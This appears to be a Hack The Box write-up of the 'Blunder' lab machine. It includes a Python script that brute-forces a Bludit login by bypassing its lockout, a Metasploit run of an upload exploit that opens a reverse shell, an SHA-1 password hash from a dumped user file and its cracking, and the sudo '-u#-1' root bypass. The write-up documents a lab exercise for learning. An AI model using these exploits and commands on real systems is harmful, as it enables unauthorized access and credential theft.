# HTB: Blunder Writeup 🖥

# Tools

* Nmap Recon
    
* Dirsearch
    
* Cewl
    
* Python Scripts
    
* hash identifier and decryptor
    
* Metasploit bludit\_upload\_images\_exec Exploit
    

### **Summary of Blunder Challenge**

* Nmap Scan
    
* directory fuzzing
    
* cewl generate wordlist
    
* Use python script to bruteforce Bludit CMS’s password to bypass protection
    
* cve-2019-16113,Bludit - Directory Traversal Image File Upload
    
* passwords disclosure
    
* use “sudo -u#-1 /bin/bash” one-liner to privesc - sudo security bypass
    

### **Initial Enumeration**

nmap scan port:

`nmap -sC -sV -Pn 10.10.10.191`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1741216383154/73f9917e-cb4c-42a5-820a-0dd915e2609f.webp align="center")

Directory Listing since its port 80

Tried Directory Listing with Dirsearch got `/admin`and `/robots` directory

`python3 [dirsearch.py](http://dirsearch.py/) -u [http://10.10.10.191](http://10.10.10.191/) -e *`

On Fingerprinting got to know its using Bludit CMS

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1741216438532/ede945b8-8e5e-497e-95a7-5aeec44a4a6d.webp align="center")

On further inspection with Seclists common.

`wfuzz -c -w Downloads/SecLists-master/Discovery/Web-Content/common.txt --hc 404,403 -u "10.10.10.191/FUZZ.txt" -t 100`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1741216501202/7d404bfb-4c93-4991-b2bc-c8301b79c58f.webp align="center")

On further Directory Listing with WFuzz got `/robots.txt` `/todo.txt` directory

todo.txt has some juicy stuff

fergus looks like a user name based on the comment

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1741216538269/e0b03e9e-9c48-47c1-bf96-ac4bd7ada742.webp align="center")

Tried to brute for with common passwords wordlist in seclists but no luck this time.

Tried creating a worklist from website using `Cewl`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1741216572893/a4b6fde5-b632-48a3-ba37-b777b08d3871.webp align="center")

Now take this password.txt and fire up the Burp Intruder 🔥

There seems to some sort brute force protection mechanism implemented.

Googled about it and found an exploit immediately.

There is a protection in place but a bypass readily available.

[https://rastating.github.io/bludit-brute-force-mitigation-bypass/](https://rastating.github.io/bludit-brute-force-mitigation-bypass/)

Upon Modifying it a bit.

```python
#!/usr/bin/env python3
import re
import requests
#from __future__ import print_function

def open_ressources(file_path):
    return [item.replace("\n","") for item in open(file_path).readlines()]

host = 'http://10.10.10.191'
login_url = host + '/admin/login'
username = 'fergus'
wordlist = open_ressources('/home/kali/Desktop/password.txt')

for password in wordlist:
    session = requests.Session()
    login_page = session.get(login_url)
    csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text).group(1)

    print('[*] Trying: {p}'.format(p = password))

    headers = {
        'X-Forwarded-For': password,
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36',
        'Referer': login_url
    }

    data = {
        'tokenCSRF': csrf_token,
        'username': username,
        'password': password,
        'save': ''
    }

    login_result = session.post(login_url, headers = headers, data = data, allow_redirects = False)

    if 'location' in login_result.headers:
        if '/admin/dashboard' in login_result.headers['location']:
            print()
            print('SUCCESS: Password found!')
            print('Use {u}:{p} to login.'.format(u = username, p = password))
            print()
            break
```

Got the password for fergus

Use fergus:RolandDeschain to login to the website.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1741216620929/e71ad796-cbe0-4a13-bab0-361c5a2e3360.webp align="center")

Successfully able to login to site.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1741216649865/ee91c5e7-cd43-4be7-9b96-3d302346db0e.webp align="center")

On further googling for exploits found this

[https://packetstormsecurity.com/files/155295/Bludit-Directory-Traversal-Image-File-Upload.html](https://packetstormsecurity.com/files/155295/Bludit-Directory-Traversal-Image-File-Upload.html)

[https://www.exploit-db.com/exploits/47699](https://www.exploit-db.com/exploits/47699)

looks like I'm closer to something.

I used msf to get a shell for easy exploitation.

Spin up Metasploit.

```bash
root@kali:/home/kali# msfconsole
                                                  
IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"".'/|\`.""'.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'

I love shells --egypt

       =[ metasploit v5.0.81-dev                          ]
+ -- --=[ 1987 exploits - 1089 auxiliary - 339 post       ]
+ -- --=[ 559 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: View useful productivity tips with the tip command, or view them all with tip -l

msf5 > use exploit/linux/http/bludit_upload_images_exec
msf5 exploit(linux/http/bludit_upload_images_exec) > set TARGET 0
TARGET => 0
msf5 exploit(linux/http/bludit_upload_images_exec) > set RHOST 10.10.10.191
RHOST => 10.10.10.191
msf5 exploit(linux/http/bludit_upload_images_exec) >  set RPORT 80
RPORT => 80
msf5 exploit(linux/http/bludit_upload_images_exec) > set BLUDITUSER fergus
BLUDITUSER => fergus
msf5 exploit(linux/http/bludit_upload_images_exec) > set BLUDITPASS RolandDeschain
BLUDITPASS => RolandDeschain
msf5 exploit(linux/http/bludit_upload_images_exec) > exploit

[*] Started reverse TCP handler on 10.10.15.49:4444 
[+] Logged in as: fergus
[*] Retrieving UUID...
[*] Uploading wLeZlRdQzE.png...
[*] Uploading .htaccess...
[*] Executing wLeZlRdQzE.png...
[*] Sending stage (38288 bytes) to 10.10.10.191
[*] Meterpreter session 1 opened (10.10.15.49:4444 -> 10.10.10.191:50426) at 2020-06-27 06:35:43 -0400
[+] Deleted .htaccess

meterpreter > shell
Process 3053 created.
Channel 0 created.

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@blunder:/$ ls
ls
bin    dev  home   lib64       media  proc  sbin  sys  var
boot   etc  lib    libx32      mnt    root  snap  tmp
cdrom  ftp  lib32  lost+found  opt    run   srv   usr
www-data@blunder:/$ cd var/
cd var/
www-data@blunder:/var$ ls
ls
backups  crash  local  log   metrics  run   spool  www
cache    lib    lock   mail  opt      snap  tmp
www-data@blunder:/var$ cd www/
cd www/
www-data@blunder:/var/www$ ls
ls
bludit-3.10.0a  bludit-3.9.2  html
www-data@blunder:/var/www$ cd bludit-3.10.0a
cd bludit-3.10.0a
www-data@blunder:/var/www/bludit-3.10.0a$ ls
ls
LICENSE    bl-content  bl-languages  bl-themes  install.php
README.md  bl-kernel   bl-plugins    index.php
www-data@blunder:/var/www/bludit-3.10.0a$ ls -al
ls -al
total 72
drwxr-xr-x  8 www-data www-data  4096 May 19 15:13 .
drwxr-xr-x  5 root     root      4096 Nov 28  2019 ..
drwxr-xr-x  2 www-data www-data  4096 Oct 19  2019 .github
-rw-r--r--  1 www-data www-data   582 Oct 19  2019 .gitignore
-rw-r--r--  1 www-data www-data   395 Oct 19  2019 .htaccess
-rw-r--r--  1 www-data www-data  1083 Oct 19  2019 LICENSE
-rw-r--r--  1 www-data www-data  2893 Oct 19  2019 README.md
drwxr-xr-x  7 www-data www-data  4096 May 19 10:03 bl-content
drwxr-xr-x 10 www-data www-data  4096 Oct 19  2019 bl-kernel
drwxr-xr-x  2 www-data www-data  4096 Oct 19  2019 bl-languages
drwxr-xr-x 29 www-data www-data  4096 Oct 19  2019 bl-plugins
drwxr-xr-x  5 www-data www-data  4096 Oct 19  2019 bl-themes
-rw-r--r--  1 www-data www-data   900 May 19 11:27 index.php
-rw-r--r--  1 www-data www-data 20306 Oct 19  2019 install.php
www-data@blunder:/var/www/bludit-3.10.0a$ cd bl-content
cd bl-content
www-data@blunder:/var/www/bludit-3.10.0a/bl-content$ ls
ls
databases  pages  tmp  uploads  workspaces
www-data@blunder:/var/www/bludit-3.10.0a/bl-content$ cd databases
cd databases
www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ ls
ls
categories.php  plugins       site.php    tags.php
pages.php       security.php  syslog.php  users.php
```

Now open user.php

```bash
www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ cat users.php
cat users.php
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
    "admin": {
        "nickname": "Hugo",
        "firstName": "Hugo",
        "lastName": "",
        "role": "User",
        "password": "faca404fd5c0a31cf1897b823c695c85cffeb98d",
        "email": "",
        "registered": "2019-11-27 07:40:55",
        "tokenRemember": "",
        "tokenAuth": "b380cb62057e9da47afce66b4615107d",
        "tokenAuthTTL": "2009-03-15 14:00",
        "twitter": "",
        "facebook": "",
        "instagram": "",
        "codepen": "",
        "linkedin": "",
        "github": "",
        "gitlab": ""}
}
```

We got password for user lets find out what hash is being used.

I used hash Identifier to know the possible hash algorithm used.

```bash
root@kali:/home/kali# hashid faca404fd5c0a31cf1897b823c695c85cffeb98d
Analyzing 'faca404fd5c0a31cf1897b823c695c85cffeb98d'
[+] SHA-1 
[+] Double SHA-1 
[+] RIPEMD-160 
[+] Haval-160 
[+] Tiger-160 
[+] HAS-160 
[+] LinkedIn 
[+] Skein-256(160) 
[+] Skein-512(160)
```

Using [https://md5decrypt.net/en/Sha1/](https://md5decrypt.net/en/Sha1/) I was able get the password value.

faca404fd5c0a31cf1897b823c695c85cffeb98d : Password120

No switch user to hugo and login with credentials

```bash
www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ su hugo
su hugo
Password: Password120
hugo@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ id
id
uid=1001(hugo) gid=1001(hugo) groups=1001(hugo)
hugo@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ cd
cd
hugo@blunder:~$ ls
ls
Desktop    Downloads  Pictures  Templates  Videos
Documents  Music      Public    user.txt
hugo@blunder:~$ cat user.txt
cat user.txt
7c*************************b0
```

Got the user Flag

Lets check for all available privileges

```bash
hugo@blunder:~$ sudo -l
sudo -l
Password: Password120

Matching Defaults entries for hugo on blunder:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User hugo may run the following commands on blunder:
    (ALL, !root) /bin/bash
hugo@blunder:~$
```

`(ALL, !root) /bin/bash` looks interesting

one googling I was able to get

[https://www.exploit-db.com/exploits/47502](https://www.exploit-db.com/exploits/47502) which is a sudo 1.8.27 - Security Bypass

Root Privilege Escalation Exploit `sudo -u#-1 /bin/bash`

```bash
hugo@blunder:/$ sudo -u#-1 /bin/bash 
sudo -u#-1 /bin/bash
root@blunder:/# id
id
uid=0(root) gid=1001(hugo) groups=1001(hugo)
root@blunder:/# ls
ls
bin    dev  home   lib64       media  proc  sbin  sys  var
boot   etc  lib    libx32      mnt    root  snap  tmp
cdrom  ftp  lib32  lost+found  opt    run   srv   usr
root@blunder:/# cd root
cd root
root@blunder:/root# ls
ls
root.txt
root@blunder:/root# cat root.txt
cat root.txt
43************************32
root@blunder:/root#
```

Getting root flag is so simple.